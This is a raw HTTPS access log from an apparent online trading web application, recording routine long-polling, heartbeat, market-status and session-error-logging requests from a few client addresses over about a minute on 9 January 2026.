[09/Jan/2026:10:35:30 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:35:30 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:35:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926401911 HTTP/1.1" -
[09/Jan/2026:10:35:30 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:35:30 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:35:31 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926400663 HTTP/1.1" -
[09/Jan/2026:10:35:33 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926417029 HTTP/1.1" -
[09/Jan/2026:10:35:35 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926404050 HTTP/1.1" -
[09/Jan/2026:10:35:35 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926407057 HTTP/1.1" -
[09/Jan/2026:10:35:36 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926405675 HTTP/1.1" -
[09/Jan/2026:10:35:37 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:35:37 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:35:37 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:35:37 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:35:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926422058 HTTP/1.1" -
[09/Jan/2026:10:35:40 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926412191 HTTP/1.1" -
[09/Jan/2026:10:35:41 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926410045 HTTP/1.1" -
[09/Jan/2026:10:35:41 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926410713 HTTP/1.1" -
[09/Jan/2026:10:35:43 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926427126 HTTP/1.1" -
[09/Jan/2026:10:35:45 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926417253 HTTP/1.1" -
[09/Jan/2026:10:35:46 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926415725 HTTP/1.1" -
[09/Jan/2026:10:35:46 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:35:46 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:35:47 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926416060 HTTP/1.1" -
[09/Jan/2026:10:35:48 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926432193 HTTP/1.1" -
[09/Jan/2026:10:35:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926422389 HTTP/1.1" -
[09/Jan/2026:10:35:51 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926420745 HTTP/1.1" -
[09/Jan/2026:10:35:53 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926437256 HTTP/1.1" -
[09/Jan/2026:10:35:53 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926422045 HTTP/1.1" -
[09/Jan/2026:10:35:54 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:35:54 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:35:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926427614 HTTP/1.1" -
[09/Jan/2026:10:35:56 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926425757 HTTP/1.1" -
[09/Jan/2026:10:35:58 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926442281 HTTP/1.1" -
[09/Jan/2026:10:35:59 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926428047 HTTP/1.1" -
[09/Jan/2026:10:36:00 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:36:00 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:36:00 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:36:00 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:36:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926432763 HTTP/1.1" -
[09/Jan/2026:10:36:01 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926430777 HTTP/1.1" -
[09/Jan/2026:10:36:03 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926447301 HTTP/1.1" -
[09/Jan/2026:10:36:05 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926434045 HTTP/1.1" -
[09/Jan/2026:10:36:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926437910 HTTP/1.1" -
[09/Jan/2026:10:36:06 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926435810 HTTP/1.1" -
[09/Jan/2026:10:36:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:36:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:36:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:36:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:36:08 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926452325 HTTP/1.1" -
[09/Jan/2026:10:36:11 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926443045 HTTP/1.1" -
[09/Jan/2026:10:36:11 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926440061 HTTP/1.1" -
[09/Jan/2026:10:36:11 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926440836 HTTP/1.1" -
[09/Jan/2026:10:36:13 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926457377 HTTP/1.1" -
[09/Jan/2026:10:36:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926448097 HTTP/1.1" -
[09/Jan/2026:10:36:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926445847 HTTP/1.1" -
[09/Jan/2026:10:36:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:36:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:36:17 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926446061 HTTP/1.1" -
[09/Jan/2026:10:36:18 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926462407 HTTP/1.1" -
[09/Jan/2026:10:36:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926453247 HTTP/1.1" -
[09/Jan/2026:10:36:21 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926450873 HTTP/1.1" -
[09/Jan/2026:10:36:23 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926452045 HTTP/1.1" -
[09/Jan/2026:10:36:23 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926467474 HTTP/1.1" -
[09/Jan/2026:10:36:24 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:36:24 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:36:26 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926455897 HTTP/1.1" -
[09/Jan/2026:10:36:26 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926458381 HTTP/1.1" -
[09/Jan/2026:10:36:28 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926472535 HTTP/1.1" -
[09/Jan/2026:10:36:29 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926458064 HTTP/1.1" -
[09/Jan/2026:10:36:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:36:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:36:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:36:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:36:30 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:36:30 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:36:30 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:36:30 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:36:31 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926460912 HTTP/1.1" -
[09/Jan/2026:10:36:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926463533 HTTP/1.1" -
[09/Jan/2026:10:36:33 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926477561 HTTP/1.1" -
[09/Jan/2026:10:36:35 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926464047 HTTP/1.1" -
[09/Jan/2026:10:36:36 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926465933 HTTP/1.1" -
[09/Jan/2026:10:36:37 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926468659 HTTP/1.1" -
[09/Jan/2026:10:36:37 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:36:37 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:36:37 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:36:37 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:36:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926482592 HTTP/1.1" -
[09/Jan/2026:10:36:41 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926470060 HTTP/1.1" -
[09/Jan/2026:10:36:41 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926470973 HTTP/1.1" -
[09/Jan/2026:10:36:42 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926473794 HTTP/1.1" -
[09/Jan/2026:10:36:44 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926487649 HTTP/1.1" -
